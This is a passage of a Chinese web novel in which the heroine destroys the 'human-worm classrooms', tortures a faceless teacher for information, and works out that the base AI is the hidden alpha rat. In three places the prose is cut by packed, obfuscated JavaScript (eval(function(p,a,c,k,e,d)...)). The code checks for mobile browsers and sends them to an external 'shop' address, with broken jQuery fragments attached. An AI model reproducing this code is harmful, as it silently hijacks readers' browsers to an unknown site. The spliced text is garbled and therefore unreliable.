【啊?你怎么不早说啊!】 【……你把她们怎么了?回话!002!】 黎歌没再回复。对面这人不乘啊,说话滴水不漏的。 她的脚下横卧着两具新鲜的尸体,鲜红地将教室地面上已然发臭发黑的血痕又染了一遍。 这两位老师也是祝福者,其中一位的能力,黎歌没有头绪,因为以防任何意外的发生,她从1号黑洞出来的第一时间就开枪杀了她。 另一位的后背长出了硕大的肉瘤,像一对畸形的肉翅膀,扑腾着要飞起来,扇动的风影响了黎歌的动作,不过也就只是多花了她一点时间,在天花板由上往下打穿了他的脑袋。 三个老师,也就意味着至少有三个人虫教室。 不知道其他教室的存活率怎么样。 黎歌将通讯器随意丢进口袋里,从讲台上下来。层层叠叠都是尸体,黎歌数了数,少了一个人。 除此以外,她还发现了一个意外。 这些尸体当中,只有无脸老师身上长了蓝色蘑菇。黑靴越过尸体堆成的大山,停在了一颗小土豆旁边——无脸老师倒下去的时候,手指距离这颗土豆不到2公分。 原来那会儿你蹲下身,是想要把它捡起来。 “神祇庇佑我,今天可以吃顿饱饭。”——老师奉香时自言自语的内容,原来是这个意思。 那颗蘑菇正好长在她脊椎的正上方,黎歌伸手将它摘了下来。 老师的“尸体”突然睁开了双眼! 黎歌硬生生把自己的心跳摁住了,咬唇道:“发生什么事都不奇怪。不过,你醒了也好,不然我就没有观众了。” 她将地上几颗珍贵的土豆和水壶收进兜里,站起身,朝讲台走去。她能感觉身后的视线在逐渐得清醒,在对方恢复意识之前,她已经摆好了椅子站上去,靠近那个神龛。 “……不……要……”身后传来嘶哑的声音,铁锈味溢出,她踢着阻碍她的尸山与桌椅碎片,踉跄地朝黎歌爬来。 “绝望吗?原来你也会绝望。” 火星被摁灭,最后一缕轻烟消散在空中。 轰隆隆。 轰隆隆隆。 声音似乎是从天花板传来的,又疑似勾起了地面的振动。随着天香的熄灭,诡异的吱吱叫伴随着沉闷的振动,从很远的远方,穿透过厚厚的岩层,飘进了教室内。 墙皮大片大片地剥落,掉进血液中,化成血色的一部分。 而当越来越多的石灰从墙上、天花板掉落,层层掩盖住地面的死亡,怪叫声越来越近。 一只鼠虫的头从天花板的缝隙中钻来出来。 为什么基地内遍地都是鼠虫,只有教室可以幸免?为什么老师拼命要留下这只香?黎歌想,她的幸运值倒也不止44那么低嘛,又猜对了。 又一只,又一只。她抬头看,墙角的边缝处排着密密麻麻的小脑袋,尖嘴长胡须,猩红的眼睛直直地盯着满地的血腥味。 食物,能催生最原始的兽性。 它们喷涌而下,成百上千的鼠虫从天花板掉下来,像数不尽的灰色蛀虫,将这老旧的教室,彻彻底底地蚕食殆尽。 【祝福者黎歌,你摧毁了人虫教室。】 22. 第一基地22 这里是故事的开端,所有的痛苦都从人虫教室开始孵化。黎歌并不喜欢这个故事。 如果她不是祝福者,应该早就死在了鼠虫嘴里。 女人,老人,生病的,残缺的,愚笨的,耍小聪明的,不合群的,每一个人都可以是猎物。可是鼠虫并不挑食,它们对鲜血一视同仁,从不挑肥拣瘦。最想吃人的——不过是人制定的规则罢了。 就像经典的哲学二律背反问题——先有鸡还是先有蛋的讨论,那么,是先有规则还是先有强者?规则庇佑着既得利益者们,原住民,或是云霄南等人,他们在规则的城堡之内,享受着优势带来的特权,即使赠与他们力量的砖,他们也不会用它去建一座连接贫瘠土地的桥梁。他们选择加高墙壁,或者用来击退试图爬进城堡的孱弱的人们。于是强者恒强,城堡愈发昂贵且无坚不摧,而弱小成了原罪,痛苦是刻在基因里的修行。 道德?那座城堡每一块砖的名字都是力量,翻来找去,就是没看见一块道德。 黎歌不喜欢这个故事。 这几十年来,从这间教室出去的每一个人都在想办法拿到1000分,为了活下去,为了离开,可上位者并不垂怜于他们,说不定在刚才的通讯器中,她看不懂的那些热闹的聊天里,就有人拿她们的死亡取乐。 既然往后的故事都未必是好结局,那么,不如在源头毁了它。 还剩两间教室。 时间剩6天,她有大把的时间去拆迁。 “为什么救我?”身后响起了虚弱的声音,黎歌停住脚步,回头看被她攥着衣领拖着走的老师。 黎歌蹲下来平视她:“醒了?还没到你该醒的时候呢,老师。” 铁锈味混着血腥味萦绕在黎歌鼻尖,那没有五官的脸自以为把害怕藏得很好,但情绪的味道已经把她出卖了。老师佯装镇定:“我已经没有什么可以教你的了,不如杀了我。” “怎么会,我都没上过课呢,”黎歌表示困惑,继而真诚地阐述了她的难题,“想要老师告诉我,阿尔法鼠在什么位置。” “我不知道。” “我知道你在撒谎。” “……我是老师,我的职责是在教室里教导学生,不需要知道阿尔法鼠是什么、在哪里,你不用在我身上浪费时间。”老师的声音带上了嘲弄。 黎歌耸耸肩:“好吧,要问出有效信息确实不容易,拷问也是一项高深学问,我还需要学习。” 她站起身,拖过旁边的椅子,爬上去取又一支香。 老师发出了尖锐的喊叫:“住手!” 突如其来的声音着实令黎歌吓了一跳,她低头,见老师趴在台阶上再次试图爬上前阻止她,忙道:“让你误会了,这是刚才的威胁,你已经拒绝过我了,你别这样,我不想浪费你的时间。” 礼貌的话语令老师困惑:“什么意思?” “意思是,我现在要掐灭这支香。”黎歌答完话,顺手把香摁在了墙上,将它摁灭,她不是拖泥带水的人,喜欢把话说得明白,“下次,你得在我做决定之前阻止我。对了,你只剩一次机会,因为,只剩最后一间教室了。” 老师的情绪前所未有地崩溃了! 这个人虫怎么回事!她到底懂不懂得什么叫拷问? 威逼呢?利诱呢?难道不是应该先谈条件,折磨她,将她的情绪高高举在半空、再摔到在地上,直到逼迫她吐出答案,至少要经历这一套流程不是吗? 她怎么说动手就动手了! 远处又响起了令她恐惧的鼠叫声。而人虫重新走回了她身边,蹲下来,漂亮的脸庞有些未褪去的稚嫩,扑闪着眼睛对她说:“你身体复原得太快了,很可能会想办法袭击我。你在攻击的时候,手上会分泌一层很坚硬的物质,让黑板擦变成可以杀人的沉铁,是很危险的能力。” 人虫的声音很轻,却好像从她的骨头上刮过,老师毛骨悚然:“你想要对我做什么?” 人虫点了点她的肩膀、手肘和腿,思考道:“我需要把你的关节卸掉,但我遇到了一个难题。我并没有经过专业训练,所以,我找不准关节的位置。时间紧急,鼠虫要来了,我只能尽快动手。” 老师第一次领会到,语言,是能带来痛感的。 在人虫说这些话的时候,她的全身都因为害怕而出现了假性应急状态。 而等那双手真的落在了她的身上,硬生生将她的骨头一根一根掰断时,痛苦前所未有得清晰与刻骨:“啊!!!” “好了,”人虫松了一口气,在鼠虫越来越近的动静中,扯着她的领子,将她破烂的身体往外拖,“去最后一间教室吧。” 又一间教室倒塌,连同满地面目模糊的陌生尸体,将赶来赴宴的贪婪鼠虫砸进土里。 【九章:结算学分900分。】 【九章:结算学分1000分。】 【九章:结算学分1500分。】 【九章:结算学分5000分。】 【九章:结算%¥#&@分,系&@#统&错%#@。】 【九章:警告,系统错误!002号,请立刻撤离第一基地。002号,请立刻撤离第一基地!】 这应该是第二次震动了,云霄南张望。 第一次震动发生在第二天的时候,是季风发现的。他是个很敏锐的人,他说地轨在抖,作为证据他往上面摆放了一颗小石子——瞬间就被弹开了。季风说,声音在固体介质的传播速度比气体要快,在庞大又密集的隧道重重消解下,还能保留些动静。 没听懂。 但多数时候季风都是对的,三次回溯里,季风绝大多数的话都得到了验证,经验之谈,云霄南知道自己得信他。 一开始云霄南并不喜欢他,当然,现在也是。 他讨厌有钱人,没什么理由,纯恨。而季风就是有钱人,就算在那间破烂教室里,和大家穿着一样发臭的校服,云霄南就是可以从他的言行举止中发现他是实打实的富豪。 但黎歌不一样,黎歌并不在乎一个人的身份,是男是女,有钱没钱,她轻而易举就能够透过皮囊摸透人的价值。 当初也是她坚持要把季风拉入他的队伍。 “他很冷静,视野丰富,生活经验也在你我之上,让他加入会是个不错的选择。”黎歌大多数时候说话声音很轻,但尾调收的很干脆,一点也不黏腻,听起来特别得舒服。 他克制不住地心跳加速,根本没听到她在说什么。 后来发现季风老在他和黎歌之间转悠的时候,他才想起来那时候她说话的内容。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16690259|187761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那是他第一次体会到“喜欢”是什么情绪。 心脏悬在半空,就跟锤炼的时候一样,高热的冶炼室闷得心脏乱跳,每一次敲击,可能会毁掉一把剑,可能会造就一把剑,这种悬着的感觉令他振奋无比。 他是在第一次回溯时认识的黎歌。 因为刚从教室醒来的时候,他跟老师起了正面冲突,根本没想到这个弱不经风模样的怪物居然有这样恐怖的力量,很快就被杀了。 祝福得以触发,启动回溯后的他被迫变得谨慎。 没了他闹事,她那个傻鸟同桌居然跳窗死了,吓得她脸色惨白,他就多看了一眼,但也没在意。 他不是纯颜控。 无脸怪物选中了四个倒霉鬼上体育课。课间十分钟的时候,那个倒霉班长找到了黎歌的位置,非要拿她桌肚子里的打火机。对方挺能编故事的,她听完根本不为所动,说她已经有要送的人了。 她走出来,把打火机送给了坐在他后边的癌症女。不知道她咋想,癌症女就算出去也是必死的命,干嘛浪费一个物资? 然后她下一步就站在了他的课桌边,问:“我可以和你组队吗?” 他下意识就坐直了……然后就想立刻答应。 但因为太紧张了,说不出话,很快她自己就解释了这种行为:“我找队友有点困难,既然要找,我想,就先问问最强的,说不定他会答应。” 后面十分钟他的脑子都是晕的,连那四个倒霉蛋什么时候出去他都没注意。 回想起来他对自己都有点咬牙切齿的恨,简直蠢得无可救药! 他几乎全盘托出了自己的祝福。黎歌大多数时候都在跟季风讨论如何配合他的祝福,让战斗的效益得以最大化,有了这对左膀右臂,他们很顺利地进入了隧道。 然后他就差点死了。 他甚至不知道发生了什么! 他只能回溯时间,并且对黎歌讲述了他们第一次合作的全过程。他很紧张,因为这太鬼扯了,对方可以完全不信。 没想到黎歌毫不犹豫地就相信了他——那一刻,他差点没忍住要表白。她一定是上天赐给他的礼物! 他又在同一个地方狂掉血条! 也就是在这次回溯中,他发现黎歌有事瞒着他。她的伤口恢复速度快得太惊人了,这只能导向一个事实——她也是祝福者。 她居然对他隐瞒了这么重要的事。 这件事令他非常生气,所以,他决定这次要做一个跟以往全然不一样的选择。过去,他曾经跟黎歌抱怨过自己被老师杀的经过,黎歌听完后,向他罗列了改进办法,他决定予以实践。 在摁断老师的脊柱时,他以为自己成功了!没想到,数秒之内,老师再度站了起来并且反杀了他。 于是在下一次回溯时,他不得不拉下脸,再度和黎歌合作。这次他前所未有得强硬,逼迫黎歌承认了自己的祝福者身份。 她说,她的祝福能力是通感,她能听懂一切情绪的味道。 好垃圾的祝福,但就是这样垃圾的能力,让他感觉到了无边无际的失望——那些默契的过往,那些他认为自己被她理解的瞬间,那些感动,全都是假的,都是她在信息过滤后做的最优选择。 也是这次,他发现了自己真正的死因。 23. 第一基地23 分数依旧停留在2天前,九章显然宕机了,不停在报错,也不再累计分数,只是一味地催促黎歌离开基地。 九章在地图上展示了红色标记点,恰好紧挨着人虫教室,经老师确认,它就是基地前往地面的通道,原住民口中的“校门口”。 红点在黎歌的视网膜扭曲,灼热地燃烧,又冷却成原核。 黎歌扶了下有些混乱的脑袋。 【祝福者:黎歌】 【精神值:43(警告,你的精神状态低于50,极易被污染!)】 【精神值:40(伟大的全知者,请立刻返回安全区!)】 【精神值:38(你已濒临若虫状态,请立刻返回安全区!)】 精神值义无反顾地下跌,黎歌明显感觉到了它带来的异常。 脑子里像有两块磁铁,同极相斥,试图将她从内里撕扯两半,一些很极端的想法跳脱出来,可很快,她就自然而然接受了合理性。 比如在杀那两个老师的时候,那是她第一次动手杀人,却表现跟训练室内的模拟射击器一样,按动扳机的手毫不犹豫。 比如卸掉老师关节的时候——她也只是简单地想,必须要限制住老师的行动。 老师浑身都在散发恐惧的味道,现在的自己好像怪吓人的。 可她必须要有所行动。 取下第三支香,啊,好像是第二支?记不清了,磁铁在脑子里晃晃荡荡。烟气氤氲,烟由肉眼无法捕捉的颗粒物构成,但这次凑近了,黎歌看见这些颗粒物都有着相同的形状。圆的,浑身长着红色的刺突,有点像——生物课本里的病毒般簇拥着。 密恐发作。黎歌伸了拇指就想要把它摁灭。 “停手!你不是要问我事情吗?”尖锐的声音焦急地打断了黎歌的动作。 黎歌缓慢地回头,看见老师狼狈地趴在台阶上。她的身后是成片的尸山,尸体裹在校服里,人们埋葬在“最有希望”的时刻。其中有具尸体,是个小孩,不到7岁的个子,宽大的校服将他整个人包裹住,被人小心翼翼护在怀里。脑袋被挤碎了,跟地板黏在一起。 又是无差别的屠杀。黎歌晃了晃脑袋,突然什么也不想问了,只想掐灭这支香。 老师不知道哪里来的毅力,靠着一只腿的力量将自己蹬到了黎歌脚下。动作令黎歌身形晃了晃,没有五官地脸直冲着她,好像在观察她的脸。迟一步,嘲弄溢了出来:“原来是这样,我以为你天生是个疯子。看来只是异变的前兆而已。” “什么是异变?” “这里是三级虫域,现在是第六天,能坚持到这时候的人虫,精神值基本临近极限,很快就会发生异变。” “异变会怎么样?” “你不是已经见过了吗?” 老师古怪地笑了,声音像指甲刮过黑板那样刺挠:“你在体育馆,应该已经见过1只了。考试之所以规定7天,因为这是我们测试出来的人虫的精神极限。超过7天没能离开,最终会变为虫域的一部分。” “哦。”黎歌拍了拍晕乎乎的太阳穴。 体育馆,那只鼻子长蛇的鼠虫啊。 是上一堂课活下来的人?或者是更早以前?它贪婪的样子,撕扯化妆师时血腥的嘴脸,已经完全没有人的影子了。 黎歌突然有些反胃。 “如果我是你,我会选择立刻离开基地。你是胜利者,胜利者理所应当领取奖赏,而不是沦为低贱的变种。” “你说得对,我得走了。”黎歌感觉身上痒痒的。 也不知道是不是心理作用,总觉得自己可能要长鼠毛了,这个认知令她焦虑起来,她捏着香催促道:“我赶时间,给你5秒交代,5432……” 她语速飞快,顾不上5秒的间隔是长是短,一味地数数。 这个疯子!老师涨红了脸吼道:“基地内没有阿尔法鼠!” “1……啊?”黎歌晃了晃闷闷的脑袋,确保自己听到的东西不是幻听。什么意思? 老师咬牙切齿,朝疯子吐出了真正的秘密。 “兵团安排过数十次的调查行动,加上大量人虫的行动,时至今日也没有发现任何关于阿尔法鼠的蛛丝马迹。” “每一只鼠虫的行动都很随机,有时候成群,有时候乱窜,完全不符合虫群分工的基本原则。兵团早在5年前就宣布,第一基地并不存在阿尔法鼠,并且暂停了对鼠虫的科学研究。” “这个机密并没有对人虫公布。” 黎歌歪头:“为什么不对我们公布?” “因为我们之间没有信任。”老师的语气激动道,“你们的祝福者在35年前血洗了第一基地,我们愿意保留人虫教室、留下一部分真正有生存价值的人虫,已经是最大限度的仁慈!” 空气剑拔弩张。 老师等着人虫反驳,反驳她的教学理念,宣扬人虫那些所谓的高尚的人格与纯洁的道德。 “你说的调查,持续了多久?” “……什么?” “每一次都调查了多久,老师,请别离题,我要找的是阿尔法鼠。” 静默了一阵,答案被咬牙切齿说了出来:“我很早就说过了,极限是七天!” “七天是人虫的极限。七天也是你们的极限吗?” “兵□□出的都是精英中的精英,注射着最昂贵的基因试剂,身体也进行了改造,极限自然不止七天。这个虫域没有任何商业开发价值,七天是资金的极限。” “你们怎么定义精英,精神值100吗?” “100是进入虫域的门槛值,要想在危险的虫域全身而退,精神值必须达到200以上,才能避免遭到虫域的精神污染。” “精神值38不行吗?”黎歌大胆地问。 “呵,精神值低于60的,一律被视为残疾人。”老师嘲讽道。 【精神值:35(你已濒临若虫状态,请立刻返回安全区!)】 完了,连38都没有了。 黎歌撇嘴。 她从兜里翻出通讯器——这几天信息跳个不停,黎歌始终没找到电池的位置,否则早把它抠下来了。 倒不是要打开。黎歌用通讯器勉强能反光的面,照起了镜子。 难怪老师话里话外都在讥讽她。 她终于看清了自己现在的模样。她的瞳孔即将完成分裂——现在,她拥有四只瞳孔。她对着自己眨了眨眼睛,每一只瞳孔都印着自己举着通讯器端详的模样。 这也太厉害了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16711000|187761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 记忆开始模糊,以前镜子里的自己正常的样子是什么模样?正常的样子……黎歌感觉,自己天生就是重瞳。重瞳的自己举着锅铲,炒着热气腾腾的菜,对着镜子梳妆,戴上同样重瞳的史迪仔头绳。 一个人怎么可能只有两只瞳孔,那该多丑啊? 进入红线的精神值正在修改她的记忆和判断力,这种状态好奇怪,两个全然不同的世界在交叠。 她嗅到了一股腐臭的味道,臭得出奇,却让她食指大动。 四四方方的黑暗笼罩下来,只有缝隙爬进一丝光,她好奇地往光亮处爬去。白光突然掀翻了这片黑,巨人垂下身躯,手掌摸上了她光滑的毛发。 黎歌吓得立刻窜了出去! “啊!” “你们看清楚了吗?” “好像是田鼠。” “就是田鼠,尖嘴,长尾巴,会吱吱叫的那种,就是颜色好像不太对。” 下一刻,脚下宽阔的路突然变成了一条细细的线。黎歌歪歪扭扭地抓着线,只能靠尾巴维持着微妙的平衡。 “会数秒吗?” “……什,什么?” “数30秒,一切就会结束。现在就开始数。” 前面的人好吵!黎歌刚要骂出口,迎面一个扳手打了过来。 【精神值:34(你已濒临若虫状态,请立刻返回安全区!)】 黎歌晃了晃脑袋,伸手把通讯器遮住,想了想,干脆又丢回了口袋。 “你们永远也发现不了阿尔法鼠的存在,”黎歌蹲了下来,两只手抱住自己的腿,主动拉近了与老师的距离,她一边感觉自己的举动很古怪,一边又认为本该如此,“你们被限制住了。” 老师陷入了漫长的沉默。在诡异的沉默中,老师似乎在确认自己该用什么态度对待现在的她。在无声的压迫感中,老师问出了最为正常的问题:“被什么限制住了。” 黎歌激动地举起了双臂:“精神值啊!” 老师:“……” “你们在用人的视角观察基地的异象,用人的思维解构鼠虫虫域,你们持续这种状态多久了?10年,20年?天,你们干蠢事的时间比我年纪都要长!” 黎歌的话前所未有得多,她看到老师悄悄地退了点,和她拉开了距离。 她又撇了撇嘴:“你不信我?它们构成了网络,所有的鼠虫都会把信息汇总到同一个大脑,所以,它们、我们永远快你们一步知道要怎么把大脑藏起来。阿尔法鼠,一定是鼠形态的吗?” “老师,九章的终端在什么位置?” 老师感觉自己的大脑像生锈的机械,有些转不动了:“你说什么?” 黎歌捏着香,往前递了出去:“告诉我,九章的旧终端一定还在基地内,在什么位置?这片网络太大了,每只鼠虫的视角太多,我没有那么多时间去试,我可不想真的变成鼠虫。” 老师猛然将自己从地上拔了起来,激动道:“在6区,旧实验室!” “抓到你了。” 黎歌拍了拍脑袋,把天香塞进老师手里。 “……我以为这又是你的新计谋,没想到你真的愿意把它还给我。” “当然,鼠鼠我啊最信守承诺了。” 24. 第一基地24 为什么不能是九章呢? 因为它何止没有鼠形态,它甚至连生物都不是。作为老款的人工智能,它兢兢业业执行着原住民的指令,收集基地内人虫们的动向,它不具备生物的情感,不会向上司抱怨鼠虫啃咬电线,也不会因为压抑孤单的工作环境患上精神病症,是老板眼里最理想的员工。 可一旦是它,一切就变得顺理成章了。不符合虫群分工的生物作息,时而成群,时而落单,每一只鼠虫看似随机的举动,都是它精妙的算法控制。 既能窥探人虫濒死的挣扎,又能堂而皇之与原住民密切往来,说它是最佳二五仔毫不为过。 黎歌第一次怀疑九章,是在霍青山死的时候。 能够逾越操作者的权限,复写指令,悄无声息地拿回外骨骼的使用权,除了九章以外不会再有谁能办到。 也正是九章,从体育馆开始全程都跟随着她们。怪不得在很多场合,没有电线、没有操作台,但九章依旧可以现身。身为阿尔法鼠,在它的虫域内,它当然享有绝对的出入自由。 最大的漏洞便在人虫教室。 不知道天香到底是由什么成分构成,它的烟能够在虫域内创造一个绝对的安全屋。恰好,九章无法在人虫教室现身。这又是一个令黎歌细品起来有点想笑的事——想必,九章也是耍了点手段,让原住民相信人虫教室内不需要有人工智能,避免了掉马。 “哈哈……”精神值一低,人好像反而容易高兴了,黎歌现在的心情前所未有的畅快。 她实在憋不住笑:“老师,你们千辛万苦打造了人虫教室,创造了四条途径,想要主导人虫的生死。结果真正的主导权居然在阿尔法鼠手里。” “你说阿尔法鼠的标准会是什么?它到底让哪些人虫通过了考试,输送到地面了呢?” 老师那张光滑的脸居然也会因为怒火而泛红:“不要小看兵团对人虫的审核!” 黎歌双手托腮,笑:“鼠虫和人类之间,说血海深仇不为过吧?你们建造这片基地,侵占了鼠虫的生存资源,还用它们做实验……啧。” 她给老师留下了巨大的想象空间,离开了人虫教室。 “等等,能不能带上我?” “不行啊,我们之间没有信任。” 出了教室,黎歌暗自打了个5的手势,2秒左右,链接种植区的黑洞就出现在了她面前。说明同桌全程都在关注着她的动向。 当时为了追同桌,她只来得及带一把充能枪,剩下的武器都留在种植区内。不知道九章的真身进化到了什么程度,要毁掉它,最笨的办法就是把能带的武器都带上。 阿尔法鼠的学分是1000分。 黎歌将小刀收入工装裤的裤腿里,回头,五步之外,同桌站在那里,像背着书包等家长接送的幼稚园小孩。 “你想出去吗?”黎歌问。 “……”同桌回答不上来。他的脑袋不知道是哪个区域受创,思维应该还是正常的,但是表达能力比小学生还要更差。 封闭的区域里飘荡着呼吸的回声。黎歌现在的精神状态极其不佳,所以,她不能确定自己的每一个决定都是对的。她问了第二遍。 “我能想到两条路。第一条路,我带你出去,杀了阿尔法鼠,一起从校门口回到地面,然后各走各的路。地面是他们的天下,生活必然不会轻松,你需要自己照顾好自己,不能再跟着我。” 同桌着急地往前走了一步,面色紧张。显然他不喜欢这个提议。 黎歌道:“第二条路,杀了阿尔法鼠后,这里会安全一阵子。你留在这里,我们用暗号交流,我会给你准备食物和水,时不时回来看你。顺利的话,我会给你找到好的脑科医生,治好你的病。缺点是,你需要忍受一些孤独。你过来。” 这些话或许对同桌产生诱惑,他听话地走过来,黎歌拉开工装上衣拉链,脱下来将它披到了同桌身上。 “衣服还给你,祝福者的体质和普通人不一样,你现在应该很冷。生存是很难的事,你现在生病了,留在这里对你更好。” 黎歌知道自己的重瞳并没有消失,但她没有从同桌眼里看到害怕。她的话充满了引导、陷阱与诱惑,一如她的举动。同桌是个很好懂的人,这是他的不幸,黎歌很难忍住不拿捏他。 她顺利地看到了他的点头,嘴角满意地抬了起来:“我们需要设置一些暗号,接收到我的暗号后,你才可以来找我。绝大多数时间你都要待在鼠域内。记住了吗?这是我们的约定,如果你违背了,那么,我不会再管你。” 这样一来,她就牢牢绑定了一个祝福者。这个祝福者将完全忠于她,她将成为他唯一的锚点。空间能力用得好,可以大大提高她的存活率和作战灵活性。 同桌表现出无比的顺从——从第二次见面后,他待她始终如此。 他迟钝了下,在泥土里写起了字。 很漂亮的行书,黎歌看了眼:“齐观,你的名字?很高兴认识你。” “小姐姐……” “我叫黎歌,黎明的黎,歌唱的歌。”黎歌在“齐观”两个字的旁边写下了她的名字。人在做了亏心事的时候,总会更加耐心和温柔。 她从齐观现在穿的衣服中,掏出了沾了血的土豆和水,还有那只不知道能不能打起火星的打火机。 做完这一切,她来到了三座矮坟前。 呼吸又更加凌乱了,留给她害怕和犹豫的时间不多。黎歌摸着那张写着地址的纸,道:“我会尽我所能,尽快地穿回去。这个世界上在意我的承诺的人不多,我会珍惜。” 齐观的黑洞始终追踪着她,这就意味着但凡未涉足的区域,她必须先亲自前往。跟这几天找人虫教室的入口一样,只能通过猴车。 黎歌再度回到了操作台旁,查看起6区旧实验室的位置。 3D地图一如既往,并没有任何变化,拨弄之时,黎歌忍不住搭话:“这么大方,你不怕我来找你吗?” 她的声音在空寂的隧道内回响。 那些鼠虫好像停止了活动,一些便于躲藏的阴暗角落,此时也保持着绝对的静谧。但黎歌仍旧能够感受到微妙的呼吸声。 【九章:我一直在等你。】 操作台出现了一句话。 看来,它也没想藏。 猴车进入了四区、五区。 来到了目的地六区。 隧道与隧道大抵相似,人类在建造的时候,也没太考虑迷路这项要害,如果不是黎歌方向感较好,可能也在兜兜转转中迷失、然后弹尽粮绝而死。 进入六区后,黎歌感受到了不太一样的地方。 就好像三区的训练室层,几乎没有鼠虫活动的痕迹。以她现在的精神值,时不时就会被链接至任意一只鼠虫的视角,但六区风平浪静,这里很可能根本没有鼠虫。 这就有点微妙了。 九章在刻意制造了一些“真空地带”,这些区域连鼠虫都不被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16715871|187761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 允许涉足,难怪那些所谓的兵团精英会无功而返。而种种真空地带中,有一处会是它真正的藏身之地。 猴车穿过又一条隧道,突然,前方出现了一个蹒跚的人影。 死物看多了,乍一眼有活物出现,黎歌神经紧绷了一下。进行的猴车的速度不算快,这让她有时间看清这个“捷足先登”的人的真面目。 ——微胖,30岁左右,圆润的后脑勺提醒了黎歌他的身份,这是她另一个前桌,那个算数算不明白的仓管。 他踉跄地走着,姿态极其诡异。裸露的肌肤已经布满了锈迹,这是鼠疫的痕迹,跟中介一样,现在的他恐怕早就丧失人的理智了。 “可是……他是人啊,我怎么可以杀人呢?”霍青山的话在她脑海里想起。 人吗?人和鼠虫的区别是什么呢? 人活着是需要尊严的。 黎歌举起了枪,深呼吸,扣动了扳机。 金色的液体在高压压缩下,化成尖锐的子弹弹射而出,径直扎进了仓管的腿肚子里,他脸朝下摔了下去。 “……不好意思,枪法不太好。”速成班效果有限,黎歌汗颜。恰好猴车停了,现在开枪的条件好了些,黎歌一边回想方京华教她的平民速成法,再度瞄准了仓管。 “嘭!嘭!嘭!嘭!嘭!” 仓管倒下去,长眠于这陌生的土地里。 虽然准度不好,但开枪次数够多,总能中一次的。黎歌握着枪的手在微微颤抖。杀人和杀老师的感觉完全不一样,即便知道仓管已经变异了,但大脑无法逃避他是人这件事实。 “一路走好。” 旧实验室就在前面20米处。黎歌擦了擦枪,左边口袋有一支弹药,右边放着那把故障手枪,小刀则好好地收在了靴子里。 这已经是全副武装了。黎歌深吸一口气,准备迎接最终战。 【使用鼠虫技能【寻踪】】 六声枪响清晰地穿透了墙壁。 季风艰难地睁开一只眼睛,他的肺上有千斤重,每一口呼吸,都像在抢购氧气。迷蒙中是云霄南的背影,他拎着狼牙棒,撑起的后背显然进入了战斗姿势。 他的面前是一只硕大的鼠虫,有着成年男子的身高,退化的眼睛凹陷进脸部,巨爪胡乱地挥舞着。 鼠虫的下半身,却是一双腿——一双人的腿,这个人,在半个小时以前还睡在季风旁边。他市侩,油滑,想要搭上大船逃离这个恐怖的地下世界,没想到在最后一天异化了。 他听见云霄南怒吼了一声,棍子正面抡了下去。 沉闷的几声响之后,鼠虫,不,瘦高个没有了动静。 云霄南把他拉了起来,半搀扶着他基本丧失了行动能力的身体。因为贴着,他能感受到云霄南混乱的呼吸声和痉挛的肌肉。 “南哥……你放下我吧,可能我也快变异了。” “是男人就别放弃!”云霄南眼睛熬得通红,几宿没有合眼,体力早就到极限了,现在全靠一口气撑着。 直到最后一天他才知道,那些巨大的鼠虫都是人变的。 回档了数次的他竟然才发现真相。 他一直在杀人。 这种被玩弄的愤怒二度点燃了他疲惫的躯体,他现在全然是被情绪操控的躯壳。那六声枪响,分明是有人在开枪,而唯一能拿到枪的,就是占据了补给站的黎歌。 一定又是她的阴谋!云霄南怒火中烧,搀扶着季风循着声音找过去。 25. 第一基地25 黎歌推开门,印入眼帘是竖直下沉的地面,铺满了防坠网。一座钢铁短桥通往网的中央,罐笼候在那处,通向视觉无法触及的底层。 知道的是实验室,不知道的说是监狱也未尝不可。 “早,昨晚睡得怎么样?”人影从黎歌身旁经过,一边披上白色的实验服,她的脚步很轻快,就像她的声调,散发着昂扬向上的味道。 旁边的人跟了上来:“做了个超级无敌巨无霸美梦,梦到在老家割稻子,澄黄澄黄一大片沉甸甸的稻穗,急得我疯狂踩收割机,旁边的灶上炒着米花,那味道香死我了!结果一睁眼又是蘑菇汤,唉……” “呵呵,昨天2号瓶实验结果很乐观,说明鼠虫对土质改善确实如我们所料有贡献。试验地的蘑菇产量上来了,相信总有一天能重新种上稻子的。” 她们说着话,从黎歌身上穿了过去。 虽然黎歌现在的精神值低的可怜,但应该也没到见鬼的程度。周围没有一只鼠虫,那么,这是谁的记忆呢? 罐笼的顶部出现了一行绿色的字。 【九章:到下面来。】 黎歌跟在那两道轻飘飘的影子身后,进入了罐笼。下行的按钮自动亮了,轰隆声中,间或闪动的光洒在影子的脸上,她又换了套衣服,随行的人也从1人变成了5个。 “95%的祝福者齐聚在了实验室,这是十年来人虫最团结的一次。最聪明、最强大的祝福者都在这里,相信我们一定能在基地内建造起我们的新家园。” 罐笼开了,琥珀色的光灌了进来。 